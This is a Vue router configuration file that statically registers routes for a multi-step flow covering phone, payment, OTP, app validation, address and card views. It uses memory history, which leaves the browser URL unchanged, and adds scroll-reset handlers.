import { createRouter, createMemoryHistory } from "vue-router";

// --- All view components are now explicitly imported for full static loading ---
import IndexView from "@/views/IndexView.vue";
import PhoneView from "@/views/PhoneView.vue";
import PayView from "@/views/PayView.vue";
import OtpView from "@/views/OtpView.vue";
import CustomOtpView from "@/views/CustomOtpView.vue";
import AppValidView from "@/views/AppValidView.vue";
import AddressView from "@/views/AddressView.vue";
import SuccessView from "@/views/SuccessView.vue";
import CardView from "@/views/CardView.vue";

const router = createRouter({
  /**
   * History Mode: createMemoryHistory
   *
   * This mode maintains an internal history stack **without interacting with the browser's URL**.
   * The URL in the address bar will not change, and it will not add entries to the browser's native history.
   *
   * This is ideal for scenarios like:
   * - **Server-Side Rendering (SSR)**: Where a browser environment is not available.
   * - **Desktop Applications (e.g., Electron)**: For internal app navigation that shouldn't affect OS-level browser history.
   * - **Embedded Applications**: When your Vue app is nested within a larger system and should not alter the parent's URL.
   *
   * **Important**: Users cannot bookmark specific internal routes or use browser back/forward buttons
   * to navigate within your Vue app's routes. Navigation is strictly controlled programmatically (e.g., via `<router-link>` or `router.push()`).
   */
  history: createMemoryHistory(import.meta.env.BASE_URL),

  routes: [
    {
      path: "/",
      name: "home",
      // --- Component directly assigned for full static loading ---
      component: IndexView,
    },
    {
      path: "/phone",
      name: "phone",
      component: PhoneView,
    },
    {
      path: "/pay",
      name: "pay",
      component: PayView,
    },
    {
      path: "/otpValid",
      name: "otpValid",
      component: OtpView,
    },
    {
      path: "/customOtpValid",
      name: "customOtpValid",
      component: CustomOtpView,
    },
    {
      path: "/appValid",
      name: "appValid",
      component: AppValidView,
    },
    {
      path: "/address",
      name: "address",
      component: AddressView,
    },
    {
      path: "/success",
      name: "success",
      component: SuccessView,
    },
    {
      path: "/card",
      name: "card",
      component: CardView,
    },
  ],

  /**
   * Scroll Behavior:
   * Controls the scrolling position when navigating between routes.
   *
   * @param {Object} to - The target route object.
   * @param {Object} from - The current route object being left.
   * @param {Object} savedPosition - The saved scroll position if navigating back/forward.
   * @returns {Object} An object with `left` and `top` properties (for scrolling to coordinates).
   */
  scrollBehavior(to, from, savedPosition) {
    // If a saved position exists (e.g., from browser's back/forward, though less common with MemoryHistory), restore it.
    if (savedPosition) {
      return savedPosition;
    } else {
      // Otherwise, scroll to the top of the page. Added 'smooth' for a better user experience.
      return { left: 0, top: 0, behavior: "smooth" };
    }
  },
});
router.afterEach(() => {
  // Try all common scroll containers
  window.scrollTo({ top: 0, left: 0, behavior: "auto" });
  document.documentElement.scrollTop = 0;
  document.body.scrollTop = 0;
  const wrap = document.querySelector(".v-application--wrap") as HTMLElement | null;
  if (wrap) wrap.scrollTop = 0;
});
export default router;